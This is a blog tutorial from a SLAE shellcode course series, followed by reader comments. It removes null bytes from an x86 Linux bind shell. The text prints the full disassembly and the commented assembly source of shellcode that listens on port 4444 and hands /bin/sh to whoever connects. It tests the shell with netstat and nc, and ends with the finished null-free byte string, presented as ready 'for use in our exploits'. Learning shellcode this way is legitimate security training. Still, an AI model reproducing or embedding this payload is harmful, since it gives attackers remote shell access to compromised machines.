In Part 2: Building the shellcode, we created a bind shell on port 4444 which accepts connections from any host and then interacts with “/bin/sh” to facilitate remote code execution. Our shellcode however was littered with null bytes and would probably not be very useful if embedding in any exploit code.
In this final part, we will clean our code and remove any null bytes from our shellcode. We will also look at removing unnecessary instruction to make our shellcode smaller if possible. Lets get started.
Step one, lets take a look at our shellcode using objdump:
objdump -D bindshell -M intel
bindshell: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: 31 c0 xor eax,eax 8048082: 31 db xor ebx,ebx 8048084: b8 66 00 00 00 mov eax,0x66 8048089: bb 01 00 00 00 mov ebx,0x1 804808e: 31 c9 xor ecx,ecx 8048090: 51 push ecx 8048091: 6a 01 push 0x1 8048093: 6a 02 push 0x2 8048095: 89 e1 mov ecx,esp 8048097: cd 80 int 0x80 8048099: 89 c2 mov edx,eax 804809b: 31 c0 xor eax,eax 804809d: 50 push eax 804809e: 66 68 11 5c pushw 0x5c11 80480a2: 66 6a 02 pushw 0x2 80480a5: 89 e1 mov ecx,esp 80480a7: 6a 10 push 0x10 80480a9: 51 push ecx 80480aa: 52 push edx 80480ab: 31 c0 xor eax,eax 80480ad: 31 db xor ebx,ebx 80480af: b8 66 00 00 00 mov eax,0x66 80480b4: bb 02 00 00 00 mov ebx,0x2 80480b9: 89 e1 mov ecx,esp 80480bb: cd 80 int 0x80 80480bd: 31 c0 xor eax,eax 80480bf: 50 push eax 80480c0: 52 push edx 80480c1: 89 e1 mov ecx,esp 80480c3: b8 66 00 00 00 mov eax,0x66 80480c8: 31 db xor ebx,ebx 80480ca: bb 04 00 00 00 mov ebx,0x4 80480cf: cd 80 int 0x80 80480d1: 31 c0 xor eax,eax 80480d3: 50 push eax 80480d4: 50 push eax 80480d5: 52 push edx 80480d6: 89 e1 mov ecx,esp 80480d8: b8 66 00 00 00 mov eax,0x66 80480dd: 31 db xor ebx,ebx 80480df: bb 05 00 00 00 mov ebx,0x5 80480e4: cd 80 int 0x80 80480e6: 89 c2 mov edx,eax 80480e8: 31 c0 xor eax,eax 80480ea: b8 3f 00 00 00 mov eax,0x3f 80480ef: 89 d3 mov ebx,edx 80480f1: 31 c9 xor ecx,ecx 80480f3: cd 80 int 0x80 80480f5: 31 c0 xor eax,eax 80480f7: b8 3f 00 00 00 mov eax,0x3f 80480fc: 41 inc ecx 80480fd: cd 80 int 0x80 80480ff: 31 c0 xor eax,eax 8048101: b8 3f 00 00 00 mov eax,0x3f 8048106: 41 inc ecx 8048107: cd 80 int 0x80 8048109: 31 c9 xor ecx,ecx 804810b: 51 push ecx 804810c: 68 2f 2f 73 68 push 0x68732f2f 8048111: 68 2f 62 69 6e push 0x6e69622f 8048116: 89 e3 mov ebx,esp 8048118: 89 ca mov edx,ecx 804811a: 31 c0 xor eax,eax 804811c: b8 0b 00 00 00 mov eax,0xb 8048121: cd 80 int 0x80
From this we can see the problematic instructions:
8048084: b8 66 00 00 00 mov eax,0x66 8048089: bb 01 00 00 00 mov ebx,0x1 80480af: b8 66 00 00 00 mov eax,0x66 80480b4: bb 02 00 00 00 mov ebx,0x2 80480c3: b8 66 00 00 00 mov eax,0x66 80480ca: bb 04 00 00 00 mov ebx,0x4 80480d8: b8 66 00 00 00 mov eax,0x66 80480df: bb 05 00 00 00 mov ebx,0x5 80480ea: b8 3f 00 00 00 mov eax,0x3f 80480f7: b8 3f 00 00 00 mov eax,0x3f 8048101: b8 3f 00 00 00 mov eax,0x3f 804811c: b8 0b 00 00 00 mov eax,0xb
Lets break this down and tackle these one at a time. Firstly, we’ll deal with our eax syscall values:
b8 66 00 00 00 mov eax,0x66
We can see that upon assembling, the compiler converted 102 to it’s hex value of 0x66. Seeing as this is a single byte, maybe we can write it to just al (the smallest byte of eax) instead of the whole eax register.
Metasploit has a great tool for this that can help you quickly find the values of assembly instructions called “metasm”.
Note: If you do not have Metasploit installed, please follow the installation instructions provided by Rapid7 or one of many great tutorials about installing Metasploit like this one from Carlos Perez (darkoperator).
/opt/metasploit-framework/tools/metasm_shell.rb
Test the following instructions and see which ones return results with no null bytes:
mov eax, 0x66 mov ax, 0x66 mov al, 0x66

If we look at these results, the only one that is going to work for us is “mov al, 0x66”
Repeat this procedure for all the mov eax, *** instructions:
mov eax, 120 => mov al, 0x66 mov eax, 63 => mov al, 0x3f mov eax, 11 => mov al, 0xb
Update these lines with the updated instructions into your code.
We can use the same procedure for the ebx registers by changing it to the bl register.
mov ebx, 1 => mov bl, 0x1 mov ebx, 2 => mov bl, 0x2 mov ebx, 4 => mov bl, 0x4 mov ebx, 5 => mov bl, 0x5
Take a look at your new assembly code:
global _start section .text _start: ; Start of our shellcode ; sys_socket (creating a socket for our connection) xor eax, eax ; clear the value of eax xor ebx, ebx ; clear the value of ebx mov al, 0x66 ; set eax to 102 (sys_socketcall) mov bl, 0x1 ; set ebx to 1 (sys_socket) xor ecx, ecx ; clear the value of ecx push ecx ; push a null onto the stack (IPPROTO_IP = 0) push 1 ; push a 1 to the stack (SOCK_STREAM = 1) push 2 ; push a 2 to the stack (AF_INET = 2) mov ecx, esp ; push the location of our arguments into ecx int 0x80 ; call sys_socket mov edx, eax ; save the returned value to edx (socket file descriptor) ; sys_bind (bind a port number to our socket) xor eax, eax ; clear the value of eax push eax ; push eax to the stack as it's null (INADDR_ANY = 0) push WORD 0x5C11 ; push our port number to the stack (Port = 4444) push WORD 2 ; push protocol argument to the stack (AF_INET = 2) mov ecx, esp ; mov value of esp into ecx, the location of our sockaddr arguments push 16 ; push addrlen to stack (addrlen = 16) push ecx ; push ecx to stack (ecx = location of our sockaddr arguments) push edx ; push edx (sockfd value stored in edx) xor eax, eax ; clear value of eax xor ebx, ebx ; clear value of ebx mov al, 0x66 ; move value of 102 into eax (sys_sockcall = 102) mov bl, 0x2 ; move value of 2 into eax (sys_bind = 2) mov ecx, esp ; move the arguments into ecx int 0x80 ; call sys_bind ; sys_listen (listen on our created socket) xor eax, eax ; clear value of eax push eax ; push backlog argument to stack (backlog = 0) push edx ; push the sockfd argument to stack (sockfd stored in edx) mov ecx, esp ; store the location of our arguments into ecx mov al, 0x66 ; sets the value 102 which is the syscall number for sys_socketcall xor ebx, ebx ; clear value of ebx to 0 mov bl, 0x4 ; sets the value 4 which is the value for "listen" in sys_socketcall int 0x80 ; call sys_listen ; sys_accept (accept connections on our created port) xor eax, eax ; clear value of eax push eax ; push addrlen argument to stack (addrlen = 0) push eax ; push addr argument to stack (addr = 0) push edx ; push the sockfd argument to stack (sockfd stored in edx) mov ecx, esp ; move the location of our arguments into ecx mov al, 0x66 ; sets the value 102 which is the syscall number for sys_socketcall xor ebx, ebx ; clear value of ebx mov bl, 0x5 ; sets the value 5 which is the value for sys_accept int 0x80 ; call sys_accept mov edx, eax ; save the return value from sys_accept to edx (client file descriptor) ; sys_dup2 (create file descriptors for stdin, stdout and stderr so we can see the responses from execve) xor eax, eax ; clear value of eax mov al, 0x3f ; sets the value 63 which is the syscall number for sys_dup2 mov ebx, edx ; move the stored oldfd argument to ebx (stored in edx) xor ecx, ecx ; set ecx to 0 for stdin int 0x80 ; call sys_dup2 xor eax, eax ; clear value of eax mov al, 0x3f ; sets the value 63 which is the syscall number for sys_dup2 inc ecx ; increment ecx to 1 for stdout int 0x80 ; call sys_dup2 xor eax, eax ; clear value of eax mov al, 0x3f ; sets the value 63 which is the syscall number for sys_dup2 inc ecx ; increment ecx to 2 for stderr int 0x80 ; call sys_dup2 ; sys_execve (execute /bin//sh upon connecting and pass the responses back to connector) xor ecx, ecx ; clear value of ecx, args argument = 0 push ecx ; push a null to the stack to terminate our filename push 0x68732f2f ; push //sh to the stack (second part of /bin//sh) push 0x6e69622f ; push /bin to the stack (first part of /bin//sh mov ebx, esp ; set ebx with the location of our file name on the stack mov edx, ecx ; move null value for envp argument into edx xor eax, eax ; clear value of eax mov al, 0xb ; sets the value 11 which is the syscall number for sys_execve int 0x80 ; call sys_execve
Lets look at the shellcode in objdump if we have any null bytes:
objdump -D bindshell -M intel | grep 00
Great, lets check for other known bad characters such as \x0a and \x0d
objdump -D bindshell -M intel | grep 0a objdump -D bindshell -M intel | grep 0d
Awesome, none of those are in our shell so lets test and see if it still works.
./bindshell
netstat -antp nc -nv 127.0.0.1 4444 id

Our clean shell is still working.
Last step is to dump this for use in our exploits:
./getshell.sh bindshell
\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89 \xc2\x31\xc0\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\x31 \xdb\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb0\x66\x31\xdb\xb3 \x04\xcd\x80\x31\xc0\x50\x50\x52\x89\xe1\xb0\x66\x31\xdb\xb3\x05\xcd\x80\x89\xc2 \x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0 \x3f\x41\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89 \xca\x31\xc0\xb0\x0b\xcd\x80
This concludes this training on shellcode writing in assembly. If you just follow the steps and do research, anything is possible. My goal when starting this post was to make shellcode less intimidating and if you feel that you have walked away after reading this with a better understanding of how shellcode interacts with the system then I am satisfied.
I hope to create more posts as I head further down this SLAE and I recommend that anyone who is in the information security field take the course and let Vivek turn you into a shellcode ninja.
Keep sploiting…
norsec0de
Read this guide and found it really good, wanted to try it out by write a similar code for osx. Have a minor problem with it and wanted to check here to see if you could give some tips. The thing is that it set up a socket and listen to it but then I connect with nc the shellcode terminate with success. Posted a question on stackoverflow to see if anyone there had some hints. The post can be found here
http://stackoverflow.com/questions/23442863/osx-x64-reverse-tcp-shell-code-program-terminate-with-success
I took a look and also missed it but reached out to the “King of Code”, OJ @TheColonial who just solved the issue for ya ;)
Yes his advice fixed the problem thanks very much for the help.